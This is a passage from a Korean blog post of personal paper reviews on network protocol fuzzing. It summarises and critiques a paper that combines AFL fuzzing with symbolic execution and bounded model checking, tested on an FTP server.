  3. 새롭게 생성된 $M'$를 중요하다고 판단하고 이를 corpus $C$에 추가한다. 또한, sequence에 의해 새로운 state나 state transition이 발견될 경우 해당 sequence를 중요하다고 판단한다.

총평

정확한 알고리즘이나 방법에 대해서는 서술이 되어 있지 않지만 소스코드가 주어져 있으며 case study가 나름 잘 되어 있어서 더 깊게 이해하는데 어려움이 없을 것으로 생각된다. 또한, 아키텍쳐가 상당히 명확해서 이해하기가 쉬웠다.
다만 아쉬운 점은 IP와 같은 프로토콜의 경우 체크섬이 있는데 해당 체크섬을 어떻게 통과할 수 있는지에 대한 서술이 없다는 것이다. 또한, IPSM을 어떻게 생성해 나가는지에 대한 설명도 없어 아쉽다.

https://arxiv.org/pdf/2001.09592.pdf

주의

지극히 개인적인 의견만 들어가 있습니다. (본인도 뭘 썼는지 모르겠음)

Problem Statement

네트워크 프로토콜을 하는데에는 많은 어려움이 있다. 첫째, 네트워크 프로토콜은 사이즈가 크고 복잡하다. 둘째, 테스트와 검증을 통해 에러를 얻는데까지 걸리는 시간이 길다. 셋째, 실제 환경에서 테스트하는 것과 가상의 환경에서 테스트 하는 것과 상황이 다르다.
네트워크 프로토콜을 퍼징하는데 많은 시도가 있었다. 퍼징만 사용하여 네트워크를 테스트하거나 symbolic execution만을 사용하여 네트워크를 테스트하려는 시도들이 있었지만 low coverage 문제나 path explosion 문제가 있었다. 따라서 둘을 섞어 네트워크를 퍼징하려 한다.

Summary

FuSeBMC는 퍼징만으로 탐색하기 어려웠던 부분들을 symbolic execution과 BMC(Bounded Model Checking) 엔진으로 해결한다. 총 다섯단계로 퍼징이 진행되는데, 아래와 같다.

  1. Protocol specification analyzer가 concrete packet을 만든다.
  2. AFL을 통해 테스트 케이스를 생성한다. 그 뒤 function coverage를 측정한다.
  3. 너무 많은 경로들을 지나면서 해당 경로들이 code coverage를 늘린다면 (i.e invalid packet) 이들을 symbolic packet으로 마킹한다.
  4. Path-based symbolic execution과 BMC를 통해 path들을 개척한다.
  5. Concrete packet에 symbol 들을 붙여서 symbolic packet으로 바꾼다.

아래 두 기준을 이용하여 퍼저를 평가하였다.

  1. Protocol specification에 대해 버그를 찾는 능력
  2. 버그를 찾기까지 걸리는 시간

또한, 실험적 목표는 아래와 같다.

  1. EG1 (취약점 감지) : Real-world network protocol 구현들에서 취약점을 찾을 수 있는가
  2. EG2 (witness validation) : 감지된 취약점에서 좀 더 많은 정보를 얻을 수 있는가 (취약점에 대한 정보)

ESBMC, KLEE, Map2Check, SPIKE를 간단한 FTP 서버에 적용시킨 뒤 실험한 결과 ESBMC만 EG1을 달성할 수 있었다. 또한 ESBMC를 적용하였을 때 bad state까지 도달하는 경로를 얻을 수 있었고, 이는 EG2를 달성한 것과 동치이다.

Strengths

퍼징과 Symbolic execution의 한계를 깨며, 단시간에 취약점을 찾을 수 있다는 것에서 장점을 보이고 있다.

Weaknesses

아래와 같은 부분이 애매하거나 잘 서술되어 있지 않다.

  1. Protocol specification을 어떻게 읽었는지
  2. Fuzzing exploration 전략이 무엇인지
  3. Concrete packet, symbolic packet의 정의가 무엇인지
  4. Symbolic marking의 과정이 무엇인지
  5. Coverage를 측정하기 위한 instrumentation 방법은 무엇인지 (AFL을 사용했다고 서술되어 있지만 정확하지 않다)
  6. Symbolic execution을 어떤 방식으로 수행했으며, input validation을 어떤 프레임워크로 수행했는지
  7. Driller와 차이가 무엇인지
  8. 네트워크 프로토콜에서 symbolic execution과 기존 퍼징 방법을 섞어야 되는 이유가 정확히 무엇인지 (프로토콜의 특성이 사유가 될 수 있는지)

또한 평가 방법에도 문제가 많다.

  1. FTP 서버에 대해 퍼징을 수행했는데 다른 퍼저들은 얼마나 빨리 취약점을 찾는지
  2. 테스트를 몇회 수행했는지 (시드 생성 등에 랜덤한 요소가 있기 때문에)
  3. FTP 서버와 서버를 하나 새롭게 만들어서 테스트를 수행했는데 이렇게 했을 때 리얼월드에서 평가를 진행했다고 할 수 있는지

Further Discussions

네트워크 프로토콜의 특성에 따른 퍼징 기법으로 무엇이 적절할지 더 논의가 필요해 보인다. 또한, 리얼월드에 가까운 방법으로 퍼저를 평가할 수 있는 방법이 무엇일지도 논의가 필요해 보인다.

+ Recent posts